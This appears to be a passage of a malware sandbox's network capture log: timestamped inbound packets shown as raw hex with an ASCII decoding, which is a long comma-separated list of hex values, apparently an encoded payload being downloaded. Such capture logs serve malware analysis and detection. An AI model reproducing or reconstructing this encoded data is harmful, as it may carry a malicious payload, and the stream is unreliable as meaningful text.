2023-04-20 23:05:00 UTC	10093	IN	Data Raw: 31 30 38 2c 65 64 2c 31 32 61 2c 37 32 2c 62 35 2c 31 33 36 2c 31 30 36 2c 63 61 2c 31 30 63 2c 31 32 35 2c 31 31 65 2c 66 32 2c 35 34 2c 65 62 2c 31 30 38 2c 37 39 2c 31 36 38 2c 31 30 35 2c 31 30 63 2c 31 30 30 2c 64 61 2c 62 38 2c 31 31 64 2c 31 34 61 2c 65 65 2c 61 63 2c 31 32 31 2c 62 65 2c 31 35 35 2c 31 34 33 2c 63 64 2c 31 33 62 2c 31 30 66 2c 31 32 61 2c 31 31 38 2c 35 35 2c 38 64 2c 31 31 35 2c 34 37 2c 31 33 36 2c 31 30 66 2c 31 35 31 2c 36 62 2c 65 32 2c 65 64 2c 31 35 32 2c 31 31 66 2c 31 31 63 2c 63 34 2c 31 31 33 2c 36 61 2c 36 32 2c 65 62 2c 38 64 2c 37 64 2c 31 34 31 2c 38 38 2c 66 36 2c 31 33 37 2c 34 38 2c 39 64 2c 61 30 2c 63 66 2c 35 39 2c 31 32 66 2c 66 61 2c 39 62 2c 39 34 2c 38 39 2c 31 33 63 2c 39 37 2c 31 33 62 2c 35 61 2c 63 35 Data Ascii: 108,ed,12a,72,b5,136,106,ca,10c,125,11e,f2,54,eb,108,79,168,105,10c,100,da,b8,11d,14a,ee,ac,121,be,155,143,cd,13b,10f,12a,118,55,8d,115,47,136,10f,151,6b,e2,ed,152,11f,11c,c4,113,6a,62,eb,8d,7d,141,88,f6,137,48,9d,a0,cf,59,12f,fa,9b,94,89,13c,97,13b,5a,c5
2023-04-20 23:05:00 UTC	10109	IN	Data Raw: 34 2c 31 36 32 2c 38 34 2c 66 33 2c 63 65 2c 63 36 2c 66 31 2c 31 32 64 2c 31 30 66 2c 66 62 2c 31 33 32 2c 66 31 2c 63 37 2c 65 65 2c 31 35 32 2c 31 31 32 2c 31 36 37 2c 66 64 2c 64 33 2c 31 34 33 2c 31 37 35 2c 31 31 35 2c 64 61 2c 65 38 2c 61 32 2c 36 36 2c 31 34 36 2c 38 30 2c 64 65 2c 31 33 35 2c 61 66 2c 31 31 31 2c 66 62 2c 31 31 62 2c 63 30 2c 37 63 2c 36 34 2c 65 35 2c 31 30 36 2c 31 35 34 2c 31 34 33 2c 66 32 2c 31 36 37 2c 66 62 2c 39 30 2c 64 36 2c 66 32 2c 31 33 38 2c 66 32 2c 38 62 2c 31 31 31 2c 62 39 2c 31 33 65 2c 31 34 66 2c 31 34 34 2c 31 34 31 2c 64 30 2c 36 65 2c 38 66 2c 31 31 35 2c 36 31 2c 31 35 37 2c 31 35 39 2c 31 31 66 2c 62 64 2c 31 31 61 2c 31 32 33 2c 39 36 2c 65 66 2c 35 62 2c 31 31 35 2c 65 37 2c 31 30 63 2c 36 61 2c 37 32 Data Ascii: 4,162,84,f3,ce,c6,f1,12d,10f,fb,132,f1,c7,ee,152,112,167,fd,d3,143,175,115,da,e8,a2,66,146,80,de,135,af,111,fb,11b,c0,7c,64,e5,106,154,143,f2,167,fb,90,d6,f2,138,f2,8b,111,b9,13e,14f,144,141,d0,6e,8f,115,61,157,159,11f,bd,11a,123,96,ef,5b,115,e7,10c,6a,72
2023-04-20 23:05:00 UTC	10125	IN	Data Raw: 37 2c 65 33 2c 64 62 2c 31 33 31 2c 66 35 2c 35 33 2c 39 61 2c 65 39 2c 62 33 2c 33 63 2c 31 31 61 2c 39 34 2c 37 35 2c 31 31 63 2c 63 66 2c 31 34 38 2c 61 37 2c 37 31 2c 36 62 2c 64 31 2c 31 32 39 2c 39 30 2c 31 33 36 2c 65 63 2c 61 66 2c 64 34 2c 35 38 2c 65 31 2c 64 61 2c 31 37 37 2c 31 30 38 2c 39 37 2c 64 33 2c 35 64 2c 31 31 30 2c 65 34 2c 36 34 2c 62 35 2c 31 35 66 2c 39 37 2c 31 33 39 2c 34 32 2c 61 31 2c 36 65 2c 37 30 2c 31 32 39 2c 37 35 2c 37 38 2c 64 30 2c 35 38 2c 38 66 2c 39 38 2c 64 37 2c 36 62 2c 37 37 2c 31 30 35 2c 31 34 33 2c 31 35 61 2c 33 38 2c 39 34 2c 39 63 2c 31 35 64 2c 66 65 2c 62 64 2c 64 66 2c 39 62 2c 63 61 2c 31 32 37 2c 64 64 2c 38 34 2c 38 36 2c 65 35 2c 38 32 2c 31 32 38 2c 31 31 33 2c 63 63 2c 31 30 65 2c 37 30 2c 61 38 Data Ascii: 7,e3,db,131,f5,53,9a,e9,b3,3c,11a,94,75,11c,cf,148,a7,71,6b,d1,129,90,136,ec,af,d4,58,e1,da,177,108,97,d3,5d,110,e4,64,b5,15f,97,139,42,a1,6e,70,129,75,78,d0,58,8f,98,d7,6b,77,105,143,15a,38,94,9c,15d,fe,bd,df,9b,ca,127,dd,84,86,e5,82,128,113,cc,10e,70,a8
2023-04-20 23:05:00 UTC	10141	IN	Data Raw: 2c 31 35 34 2c 63 61 2c 65 63 2c 31 32 33 2c 65 62 2c 31 35 34 2c 37 62 2c 35 61 2c 62 66 2c 65 34 2c 64 66 2c 64 66 2c 64 62 2c 31 34 36 2c 66 38 2c 39 39 2c 66 32 2c 39 37 2c 31 33 62 2c 31 31 35 2c 31 35 36 2c 39 38 2c 63 33 2c 31 32 33 2c 65 35 2c 37 62 2c 34 63 2c 31 31 32 2c 31 35 38 2c 31 30 62 2c 62 33 2c 31 30 30 2c 62 31 2c 31 34 33 2c 61 31 2c 35 63 2c 31 32 63 2c 62 66 2c 37 64 2c 31 33 33 2c 65 36 2c 38 62 2c 31 31 37 2c 31 31 66 2c 31 32 36 2c 63 30 2c 38 32 2c 38 36 2c 31 31 34 2c 31 32 61 2c 39 61 2c 31 31 65 2c 31 37 32 2c 66 39 2c 31 34 30 2c 37 32 2c 33 34 2c 31 35 30 2c 38 36 2c 66 62 2c 62 62 2c 36 66 2c 64 33 2c 31 30 38 2c 65 64 2c 63 35 2c 35 33 2c 62 33 2c 61 38 2c 39 38 2c 31 30 36 2c 31 31 31 2c 63 36 2c 38 66 2c 65 65 2c 31 33 Data Ascii: ,154,ca,ec,123,eb,154,7b,5a,bf,e4,df,df,db,146,f8,99,f2,97,13b,115,156,98,c3,123,e5,7b,4c,112,158,10b,b3,100,b1,143,a1,5c,12c,bf,7d,133,e6,8b,117,11f,126,c0,82,86,114,12a,9a,11e,172,f9,140,72,34,150,86,fb,bb,6f,d3,108,ed,c5,53,b3,a8,98,106,111,c6,8f,ee,13
2023-04-20 23:05:00 UTC	10157	IN	Data Raw: 2c 64 36 2c 31 31 61 2c 31 30 33 2c 31 34 35 2c 31 34 66 2c 31 31 38 2c 63 61 2c 31 36 32 2c 31 32 63 2c 62 31 2c 66 64 2c 61 63 2c 66 37 2c 31 32 31 2c 37 36 2c 61 39 2c 66 65 2c 61 37 2c 31 31 32 2c 31 35 31 2c 31 32 38 2c 61 32 2c 38 37 2c 33 37 2c 63 35 2c 65 61 2c 63 38 2c 35 61 2c 37 35 2c 64 63 2c 31 31 36 2c 62 35 2c 38 64 2c 31 33 34 2c 62 38 2c 31 34 35 2c 61 35 2c 31 31 63 2c 62 31 2c 66 63 2c 38 32 2c 38 62 2c 31 30 32 2c 31 37 37 2c 31 30 36 2c 63 36 2c 63 30 2c 39 38 2c 34 66 2c 37 34 2c 38 36 2c 31 31 65 2c 66 35 2c 31 30 66 2c 65 63 2c 31 32 66 2c 65 31 2c 38 31 2c 61 36 2c 66 63 2c 66 64 2c 31 32 64 2c 66 36 2c 63 34 2c 31 30 38 2c 31 34 32 2c 61 63 2c 31 33 63 2c 63 62 2c 31 30 65 2c 31 32 38 2c 31 34 35 2c 63 36 2c 31 34 35 2c 31 32 39 Data Ascii: ,d6,11a,103,145,14f,118,ca,162,12c,b1,fd,ac,f7,121,76,a9,fe,a7,112,151,128,a2,87,37,c5,ea,c8,5a,75,dc,116,b5,8d,134,b8,145,a5,11c,b1,fc,82,8b,102,177,106,c6,c0,98,4f,74,86,11e,f5,10f,ec,12f,e1,81,a6,fc,fd,12d,f6,c4,108,142,ac,13c,cb,10e,128,145,c6,145,129
2023-04-20 23:05:00 UTC	10173	IN	Data Raw: 2c 31 31 63 2c 37 62 2c 63 65 2c 38 61 2c 31 31 32 2c 64 36 2c 31 30 36 2c 65 31 2c 39 38 2c 66 66 2c 31 35 35 2c 39 34 2c 35 64 2c 38 34 2c 31 35 62 2c 63 39 2c 65 37 2c 66 32 2c 31 36 37 2c 66 61 2c 65 63 2c 36 35 2c 31 35 65 2c 62 33 2c 37 37 2c 64 64 2c 31 30 62 2c 66 65 2c 61 38 2c 63 65 2c 31 34 33 2c 61 32 2c 35 34 2c 35 39 2c 31 30 34 2c 31 31 36 2c 65 63 2c 62 33 2c 66 35 2c 31 33 64 2c 35 31 2c 31 34 63 2c 63 62 2c 31 30 37 2c 36 36 2c 39 30 2c 31 30 30 2c 31 32 63 2c 65 62 2c 31 32 62 2c 31 36 64 2c 31 31 62 2c 62 33 2c 31 33 30 2c 31 35 36 2c 66 32 2c 31 34 62 2c 31 32 61 2c 38 65 2c 65 35 2c 66 62 2c 31 30 66 2c 38 32 2c 65 36 2c 64 37 2c 62 33 2c 65 33 2c 36 65 2c 37 38 2c 31 35 34 2c 36 62 2c 38 31 2c 38 37 2c 31 35 31 2c 63 32 2c 62 61 2c Data Ascii: ,11c,7b,ce,8a,112,d6,106,e1,98,ff,155,94,5d,84,15b,c9,e7,f2,167,fa,ec,65,15e,b3,77,dd,10b,fe,a8,ce,143,a2,54,59,104,116,ec,b3,f5,13d,51,14c,cb,107,66,90,100,12c,eb,12b,16d,11b,b3,130,156,f2,14b,12a,8e,e5,fb,10f,82,e6,d7,b3,e3,6e,78,154,6b,81,87,151,c2,ba,
2023-04-20 23:05:00 UTC	10189	IN	Data Raw: 2c 31 32 62 2c 36 64 2c 39 30 2c 62 39 2c 38 39 2c 39 37 2c 37 64 2c 31 30 36 2c 62 62 2c 38 30 2c 65 35 2c 31 31 35 2c 64 64 2c 39 34 2c 61 39 2c 64 36 2c 31 31 35 2c 39 34 2c 64 37 2c 38 32 2c 62 38 2c 37 66 2c 66 38 2c 66 39 2c 31 33 63 2c 66 35 2c 62 30 2c 31 34 35 2c 63 31 2c 39 36 2c 38 39 2c 37 37 2c 31 31 32 2c 39 35 2c 36 66 2c 31 32 38 2c 38 33 2c 39 37 2c 38 33 2c 31 36 32 2c 31 35 31 2c 64 33 2c 31 33 39 2c 62 37 2c 31 31 34 2c 64 30 2c 36 64 2c 66 64 2c 66 39 2c 31 32 63 2c 31 34 31 2c 38 32 2c 61 66 2c 38 66 2c 61 65 2c 65 31 2c 36 33 2c 31 30 31 2c 31 30 36 2c 66 63 2c 31 32 63 2c 31 32 37 2c 37 30 2c 65 36 2c 31 32 37 2c 31 31 35 2c 39 31 2c 62 35 2c 39 61 2c 39 39 2c 62 64 2c 31 34 30 2c 66 65 2c 66 33 2c 39 38 2c 38 32 2c 31 31 33 2c 31 Data Ascii: ,12b,6d,90,b9,89,97,7d,106,bb,80,e5,115,dd,94,a9,d6,115,94,d7,82,b8,7f,f8,f9,13c,f5,b0,145,c1,96,89,77,112,95,6f,128,83,97,83,162,151,d3,139,b7,114,d0,6d,fd,f9,12c,141,82,af,8f,ae,e1,63,101,106,fc,12c,127,70,e6,127,115,91,b5,9a,99,bd,140,fe,f3,98,82,113,1
2023-04-20 23:05:00 UTC	10205	IN	Data Raw: 31 30 31 2c 65 33 2c 31 33 35 2c 31 30 62 2c 31 32 63 2c 31 30 61 2c 31 33 32 2c 34 66 2c 38 61 2c 31 35 31 2c 65 63 2c 35 34 2c 31 34 30 2c 36 39 2c 63 37 2c 39 33 2c 64 65 2c 31 36 34 2c 35 32 2c 35 36 2c 31 32 39 2c 63 34 2c 61 63 2c 31 31 32 2c 31 31 32 2c 31 34 37 2c 38 63 2c 65 34 2c 39 64 2c 31 33 64 2c 31 33 38 2c 31 32 62 2c 66 37 2c 63 36 2c 31 30 34 2c 38 64 2c 31 34 36 2c 63 65 2c 38 38 2c 64 30 2c 63 36 2c 64 30 2c 31 31 30 2c 36 36 2c 64 63 2c 66 61 2c 66 61 2c 34 38 2c 31 36 66 2c 36 63 2c 62 33 2c 66 33 2c 61 65 2c 39 63 2c 63 34 2c 66 64 2c 33 36 2c 31 30 32 2c 33 37 2c 63 30 2c 38 63 2c 37 38 2c 31 30 35 2c 31 35 66 2c 31 31 36 2c 31 33 65 2c 31 34 37 2c 65 63 2c 63 30 2c 31 33 39 2c 37 63 2c 31 34 37 2c 65 65 2c 61 65 2c 66 39 2c 31 34 Data Ascii: 101,e3,135,10b,12c,10a,132,4f,8a,151,ec,54,140,69,c7,93,de,164,52,56,129,c4,ac,112,112,147,8c,e4,9d,13d,138,12b,f7,c6,104,8d,146,ce,88,d0,c6,d0,110,66,dc,fa,fa,48,16f,6c,b3,f3,ae,9c,c4,fd,36,102,37,c0,8c,78,105,15f,116,13e,147,ec,c0,139,7c,147,ee,ae,f9,14
2023-04-20 23:05:00 UTC	10221	IN	Data Raw: 32 2c 61 64 2c 34 63 2c 38 34 2c 31 32 33 2c 31 32 66 2c 31 30 65 2c 31 33 66 2c 61 30 2c 34 35 2c 31 33 30 2c 39 64 2c 33 34 2c 31 32 39 2c 61 31 2c 31 36 31 2c 31 30 65 2c 37 61 2c 64 65 2c 61 32 2c 33 37 2c 31 33 33 2c 31 31 35 2c 66 38 2c 31 34 33 2c 64 36 2c 62 39 2c 66 33 2c 61 31 2c 31 31 61 2c 31 37 34 2c 31 34 32 2c 31 32 36 2c 37 65 2c 38 37 2c 31 30 36 2c 39 65 2c 35 34 2c 31 37 35 2c 31 32 34 2c 66 62 2c 37 61 2c 31 34 38 2c 31 32 66 2c 62 66 2c 35 32 2c 31 30 33 2c 31 36 62 2c 61 61 2c 31 32 63 2c 62 62 2c 31 32 37 2c 63 65 2c 61 33 2c 62 36 2c 31 35 33 2c 31 32 38 2c 37 31 2c 65 33 2c 31 33 37 2c 66 37 2c 31 37 36 2c 31 33 30 2c 35 37 2c 31 32 32 2c 66 39 2c 38 31 2c 31 30 63 2c 64 63 2c 31 34 64 2c 31 35 66 2c 31 33 30 2c 31 32 61 2c 31 32 Data Ascii: 2,ad,4c,84,123,12f,10e,13f,a0,45,130,9d,34,129,a1,161,10e,7a,de,a2,37,133,115,f8,143,d6,b9,f3,a1,11a,174,142,126,7e,87,106,9e,54,175,124,fb,7a,148,12f,bf,52,103,16b,aa,12c,bb,127,ce,a3,b6,153,128,71,e3,137,f7,176,130,57,122,f9,81,10c,dc,14d,15f,130,12a,12
2023-04-20 23:05:00 UTC	10237	IN	Data Raw: 32 2c 31 32 36 2c 31 34 65 2c 61 63 2c 31 30 66 2c 38 33 2c 31 31 39 2c 31 30 37 2c 31 32 38 2c 36 34 2c 34 36 2c 39 35 2c 66 31 2c 31 31 65 2c 31 34 37 2c 65 66 2c 66 39 2c 37 33 2c 34 38 2c 36 32 2c 31 30 30 2c 37 36 2c 31 32 38 2c 31 33 61 2c 31 32 35 2c 31 34 66 2c 34 66 2c 36 33 2c 64 64 2c 62 32 2c 31 34 35 2c 31 35 38 2c 31 30 32 2c 31 34 35 2c 31 32 30 2c 38 63 2c 66 64 2c 38 33 2c 62 35 2c 31 32 64 2c 31 30 65 2c 62 36 2c 36 65 2c 31 31 32 2c 31 35 65 2c 31 35 35 2c 31 34 33 2c 31 30 30 2c 61 36 2c 31 34 33 2c 38 33 2c 36 34 2c 65 62 2c 61 61 2c 31 30 66 2c 63 30 2c 38 31 2c 31 36 39 2c 31 30 32 2c 66 66 2c 39 63 2c 63 31 2c 31 32 31 2c 38 62 2c 39 32 2c 61 37 2c 36 31 2c 31 34 35 2c 31 34 38 2c 37 62 2c 31 31 64 2c 63 36 2c 31 32 39 2c 31 35 33 Data Ascii: 2,126,14e,ac,10f,83,119,107,128,64,46,95,f1,11e,147,ef,f9,73,48,62,100,76,128,13a,125,14f,4f,63,dd,b2,145,158,102,145,120,8c,fd,83,b5,12d,10e,b6,6e,112,15e,155,143,100,a6,143,83,64,eb,aa,10f,c0,81,169,102,ff,9c,c1,121,8b,92,a7,61,145,148,7b,11d,c6,129,153
2023-04-20 23:05:00 UTC	10253	IN	Data Raw: 32 35 2c 31 30 32 2c 37 64 2c 39 32 2c 65 36 2c 31 34 63 2c 61 34 2c 35 37 2c 62 39 2c 33 65 2c 64 33 2c 39 65 2c 62 31 2c 36 39 2c 61 30 2c 63 62 2c 31 30 39 2c 31 30 30 2c 31 31 33 2c 65 62 2c 38 62 2c 66 37 2c 62 38 2c 34 36 2c 61 31 2c 31 30 64 2c 37 32 2c 61 31 2c 38 61 2c 31 35 37 2c 61 66 2c 31 36 36 2c 31 31 36 2c 37 30 2c 31 32 64 2c 62 37 2c 31 36 64 2c 35 64 2c 65 33 2c 34 30 2c 37 36 2c 64 39 2c 64 31 2c 64 30 2c 39 37 2c 31 33 64 2c 62 62 2c 36 64 2c 61 66 2c 66 36 2c 65 37 2c 31 34 64 2c 31 32 61 2c 31 33 33 2c 31 33 39 2c 32 66 2c 31 34 63 2c 66 30 2c 63 37 2c 38 31 2c 31 35 37 2c 63 31 2c 38 65 2c 31 36 65 2c 31 30 33 2c 31 30 32 2c 66 35 2c 39 62 2c 61 65 2c 31 33 31 2c 31 34 32 2c 38 31 2c 31 33 32 2c 63 63 2c 38 65 2c 36 36 2c 31 31 62 Data Ascii: 25,102,7d,92,e6,14c,a4,57,b9,3e,d3,9e,b1,69,a0,cb,109,100,113,eb,8b,f7,b8,46,a1,10d,72,a1,8a,157,af,166,116,70,12d,b7,16d,5d,e3,40,76,d9,d1,d0,97,13d,bb,6d,af,f6,e7,14d,12a,133,139,2f,14c,f0,c7,81,157,c1,8e,16e,103,102,f5,9b,ae,131,142,81,132,cc,8e,66,11b
2023-04-20 23:05:00 UTC	10269	IN	Data Raw: 31 35 33 2c 31 31 65 2c 37 38 2c 31 35 62 2c 61 64 2c 31 36 34 2c 39 30 2c 31 32 32 2c 65 36 2c 36 33 2c 39 30 2c 63 39 2c 31 33 38 2c 31 35 31 2c 37 62 2c 65 39 2c 31 34 34 2c 37 32 2c 31 32 39 2c 65 64 2c 31 32 32 2c 31 31 63 2c 31 35 37 2c 66 37 2c 63 66 2c 31 31 35 2c 31 31 64 2c 31 32 64 2c 31 35 33 2c 31 30 37 2c 36 62 2c 31 30 37 2c 62 35 2c 63 39 2c 62 66 2c 62 65 2c 64 61 2c 66 61 2c 66 35 2c 31 30 32 2c 31 32 66 2c 65 63 2c 62 64 2c 62 64 2c 31 31 30 2c 62 31 2c 66 61 2c 31 32 31 2c 31 30 30 2c 66 64 2c 31 32 39 2c 66 65 2c 66 63 2c 61 66 2c 62 32 2c 62 39 2c 31 32 31 2c 65 35 2c 63 63 2c 31 36 33 2c 37 65 2c 37 65 2c 38 39 2c 33 65 2c 31 30 37 2c 63 64 2c 66 39 2c 64 61 2c 65 33 2c 31 34 65 2c 37 61 2c 62 61 2c 63 30 2c 31 30 61 2c 31 31 38 2c Data Ascii: 153,11e,78,15b,ad,164,90,122,e6,63,90,c9,138,151,7b,e9,144,72,129,ed,122,11c,157,f7,cf,115,11d,12d,153,107,6b,107,b5,c9,bf,be,da,fa,f5,102,12f,ec,bd,bd,110,b1,fa,121,100,fd,129,fe,fc,af,b2,b9,121,e5,cc,163,7e,7e,89,3e,107,cd,f9,da,e3,14e,7a,ba,c0,10a,118,
2023-04-20 23:05:00 UTC	10285	IN	Data Raw: 61 64 2c 31 36 33 2c 66 39 2c 31 33 66 2c 31 33 30 2c 61 31 2c 39 31 2c 31 34 31 2c 36 66 2c 38 35 2c 64 37 2c 31 35 66 2c 31 32 66 2c 61 37 2c 31 33 39 2c 31 31 35 2c 65 61 2c 31 34 36 2c 31 33 36 2c 39 31 2c 31 34 66 2c 31 31 64 2c 39 64 2c 31 30 38 2c 31 33 66 2c 66 65 2c 61 65 2c 61 39 2c 65 36 2c 39 34 2c 36 66 2c 35 38 2c 38 32 2c 31 31 30 2c 62 37 2c 36 37 2c 62 37 2c 38 62 2c 31 33 65 2c 61 38 2c 62 38 2c 38 32 2c 61 35 2c 61 64 2c 65 66 2c 31 32 35 2c 39 65 2c 31 32 39 2c 31 31 62 2c 64 39 2c 31 32 62 2c 31 31 38 2c 65 65 2c 31 32 66 2c 37 65 2c 36 38 2c 31 35 32 2c 65 30 2c 62 30 2c 39 37 2c 39 63 2c 63 66 2c 62 64 2c 39 63 2c 31 31 37 2c 62 66 2c 36 64 2c 36 30 2c 36 64 2c 31 34 34 2c 63 38 2c 37 64 2c 61 37 2c 31 34 30 2c 31 31 38 2c 38 65 2c Data Ascii: ad,163,f9,13f,130,a1,91,141,6f,85,d7,15f,12f,a7,139,115,ea,146,136,91,14f,11d,9d,108,13f,fe,ae,a9,e6,94,6f,58,82,110,b7,67,b7,8b,13e,a8,b8,82,a5,ad,ef,125,9e,129,11b,d9,12b,118,ee,12f,7e,68,152,e0,b0,97,9c,cf,bd,9c,117,bf,6d,60,6d,144,c8,7d,a7,140,118,8e,
2023-04-20 23:05:00 UTC	10301	IN	Data Raw: 31 33 62 2c 33 34 2c 64 64 2c 62 66 2c 31 35 31 2c 64 37 2c 31 30 62 2c 66 66 2c 65 39 2c 37 65 2c 65 30 2c 36 63 2c 31 30 39 2c 31 34 32 2c 38 63 2c 31 31 39 2c 36 63 2c 31 32 34 2c 61 61 2c 62 62 2c 31 34 39 2c 31 31 34 2c 35 39 2c 34 37 2c 35 36 2c 39 65 2c 62 32 2c 31 30 66 2c 64 39 2c 31 34 34 2c 31 31 32 2c 31 34 37 2c 61 33 2c 61 30 2c 31 32 65 2c 31 33 33 2c 39 32 2c 62 63 2c 65 64 2c 62 39 2c 31 32 33 2c 31 30 63 2c 31 32 32 2c 65 66 2c 39 65 2c 37 39 2c 31 32 62 2c 31 31 61 2c 31 34 64 2c 65 36 2c 38 63 2c 31 33 33 2c 31 32 37 2c 61 37 2c 31 33 39 2c 66 34 2c 31 33 38 2c 35 61 2c 31 31 39 2c 64 64 2c 31 35 30 2c 31 32 66 2c 38 34 2c 31 31 62 2c 39 39 2c 37 33 2c 38 38 2c 31 30 31 2c 62 32 2c 63 65 2c 35 35 2c 62 66 2c 61 38 2c 61 64 2c 38 62 2c Data Ascii: 13b,34,dd,bf,151,d7,10b,ff,e9,7e,e0,6c,109,142,8c,119,6c,124,aa,bb,149,114,59,47,56,9e,b2,10f,d9,144,112,147,a3,a0,12e,133,92,bc,ed,b9,123,10c,122,ef,9e,79,12b,11a,14d,e6,8c,133,127,a7,139,f4,138,5a,119,dd,150,12f,84,11b,99,73,88,101,b2,ce,55,bf,a8,ad,8b,
2023-04-20 23:05:00 UTC	10317	IN	Data Raw: 61 65 2c 64 65 2c 36 38 2c 31 30 64 2c 63 39 2c 34 61 2c 66 36 2c 31 36 36 2c 31 33 32 2c 31 32 63 2c 64 38 2c 31 34 36 2c 63 35 2c 65 31 2c 31 30 39 2c 31 31 32 2c 62 34 2c 35 65 2c 31 31 36 2c 66 36 2c 65 62 2c 31 32 35 2c 63 66 2c 31 33 30 2c 36 38 2c 31 36 34 2c 37 34 2c 63 64 2c 35 33 2c 62 35 2c 62 66 2c 65 32 2c 35 35 2c 31 32 31 2c 38 65 2c 39 32 2c 61 37 2c 66 32 2c 39 66 2c 61 35 2c 31 30 39 2c 37 65 2c 39 63 2c 31 30 61 2c 36 65 2c 31 30 64 2c 31 32 34 2c 65 37 2c 31 32 32 2c 31 32 32 2c 36 35 2c 62 64 2c 66 65 2c 34 35 2c 61 61 2c 38 66 2c 36 63 2c 65 37 2c 38 65 2c 63 64 2c 35 37 2c 31 34 62 2c 66 35 2c 38 61 2c 38 38 2c 31 30 38 2c 36 35 2c 62 66 2c 31 33 33 2c 36 35 2c 31 33 31 2c 31 32 30 2c 65 33 2c 31 30 63 2c 61 33 2c 61 34 2c 31 31 32 Data Ascii: ae,de,68,10d,c9,4a,f6,166,132,12c,d8,146,c5,e1,109,112,b4,5e,116,f6,eb,125,cf,130,68,164,74,cd,53,b5,bf,e2,55,121,8e,92,a7,f2,9f,a5,109,7e,9c,10a,6e,10d,124,e7,122,122,65,bd,fe,45,aa,8f,6c,e7,8e,cd,57,14b,f5,8a,88,108,65,bf,133,65,131,120,e3,10c,a3,a4,112
2023-04-20 23:05:00 UTC	10333	IN	Data Raw: 2c 64 64 2c 31 30 63 2c 62 34 2c 31 32 33 2c 62 64 2c 31 30 34 2c 31 32 35 2c 31 33 61 2c 31 31 37 2c 31 32 61 2c 61 35 2c 37 63 2c 31 30 30 2c 37 64 2c 31 31 63 2c 31 35 61 2c 35 31 2c 38 63 2c 63 30 2c 31 32 32 2c 62 39 2c 62 31 2c 31 31 62 2c 37 39 2c 39 33 2c 39 61 2c 61 37 2c 31 31 62 2c 31 33 32 2c 62 35 2c 62 38 2c 31 33 65 2c 31 31 32 2c 66 36 2c 65 35 2c 31 34 33 2c 31 32 61 2c 35 35 2c 61 33 2c 31 36 31 2c 64 35 2c 31 33 34 2c 31 32 66 2c 37 35 2c 66 64 2c 65 34 2c 33 36 2c 31 34 64 2c 31 33 35 2c 31 30 32 2c 31 31 30 2c 31 36 30 2c 31 34 61 2c 38 38 2c 35 36 2c 35 38 2c 31 33 64 2c 65 31 2c 31 32 63 2c 66 62 2c 39 65 2c 63 66 2c 65 64 2c 38 39 2c 62 65 2c 31 34 66 2c 31 35 32 2c 31 34 62 2c 65 35 2c 65 62 2c 31 34 66 2c 36 37 2c 63 63 2c 61 30 Data Ascii: ,dd,10c,b4,123,bd,104,125,13a,117,12a,a5,7c,100,7d,11c,15a,51,8c,c0,122,b9,b1,11b,79,93,9a,a7,11b,132,b5,b8,13e,112,f6,e5,143,12a,55,a3,161,d5,134,12f,75,fd,e4,36,14d,135,102,110,160,14a,88,56,58,13d,e1,12c,fb,9e,cf,ed,89,be,14f,152,14b,e5,eb,14f,67,cc,a0
2023-04-20 23:05:00 UTC	10349	IN	Data Raw: 34 2c 37 62 2c 38 34 2c 38 37 2c 63 63 2c 64 66 2c 38 30 2c 66 62 2c 31 31 33 2c 39 30 2c 33 37 2c 31 36 63 2c 36 61 2c 36 35 2c 66 33 2c 65 38 2c 65 38 2c 66 61 2c 65 31 2c 38 30 2c 31 31 61 2c 61 36 2c 39 33 2c 38 65 2c 36 64 2c 35 34 2c 64 62 2c 65 61 2c 31 31 30 2c 31 32 37 2c 31 35 36 2c 31 32 33 2c 31 30 66 2c 39 32 2c 39 66 2c 66 31 2c 34 30 2c 31 32 33 2c 36 31 2c 62 32 2c 31 32 34 2c 31 33 35 2c 64 62 2c 61 30 2c 34 36 2c 31 32 63 2c 31 30 33 2c 62 37 2c 31 33 39 2c 66 35 2c 61 63 2c 37 63 2c 39 63 2c 62 30 2c 31 35 32 2c 63 61 2c 39 62 2c 39 31 2c 64 66 2c 31 31 61 2c 36 66 2c 31 30 62 2c 63 30 2c 31 33 61 2c 38 64 2c 65 30 2c 31 31 38 2c 31 30 62 2c 31 31 33 2c 31 32 34 2c 61 65 2c 31 30 66 2c 61 32 2c 38 66 2c 61 39 2c 66 62 2c 35 32 2c 64 37 Data Ascii: 4,7b,84,87,cc,df,80,fb,113,90,37,16c,6a,65,f3,e8,e8,fa,e1,80,11a,a6,93,8e,6d,54,db,ea,110,127,156,123,10f,92,9f,f1,40,123,61,b2,124,135,db,a0,46,12c,103,b7,139,f5,ac,7c,9c,b0,152,ca,9b,91,df,11a,6f,10b,c0,13a,8d,e0,118,10b,113,124,ae,10f,a2,8f,a9,fb,52,d7
2023-04-20 23:05:00 UTC	10365	IN	Data Raw: 2c 31 33 34 2c 31 33 63 2c 31 30 36 2c 37 30 2c 64 34 2c 62 62 2c 31 30 30 2c 39 33 2c 31 34 37 2c 31 36 38 2c 62 35 2c 61 35 2c 36 36 2c 66 63 2c 38 31 2c 31 32 34 2c 65 37 2c 31 34 36 2c 66 61 2c 31 30 61 2c 31 34 37 2c 61 30 2c 37 63 2c 36 38 2c 31 30 62 2c 37 39 2c 39 34 2c 31 32 37 2c 62 37 2c 61 31 2c 65 33 2c 65 30 2c 62 61 2c 38 34 2c 39 37 2c 31 33 38 2c 31 33 38 2c 31 35 36 2c 31 31 65 2c 66 39 2c 31 32 32 2c 31 32 61 2c 61 65 2c 31 31 35 2c 31 32 64 2c 37 31 2c 31 31 64 2c 66 35 2c 31 32 65 2c 38 38 2c 63 31 2c 65 30 2c 37 63 2c 66 39 2c 31 30 38 2c 31 35 33 2c 31 30 33 2c 39 30 2c 61 62 2c 31 30 62 2c 31 32 66 2c 36 61 2c 31 32 63 2c 31 36 62 2c 31 30 32 2c 64 36 2c 66 32 2c 64 32 2c 65 39 2c 61 35 2c 39 64 2c 35 37 2c 31 31 64 2c 62 64 2c 31 Data Ascii: ,134,13c,106,70,d4,bb,100,93,147,168,b5,a5,66,fc,81,124,e7,146,fa,10a,147,a0,7c,68,10b,79,94,127,b7,a1,e3,e0,ba,84,97,138,138,156,11e,f9,122,12a,ae,115,12d,71,11d,f5,12e,88,c1,e0,7c,f9,108,153,103,90,ab,10b,12f,6a,12c,16b,102,d6,f2,d2,e9,a5,9d,57,11d,bd,1
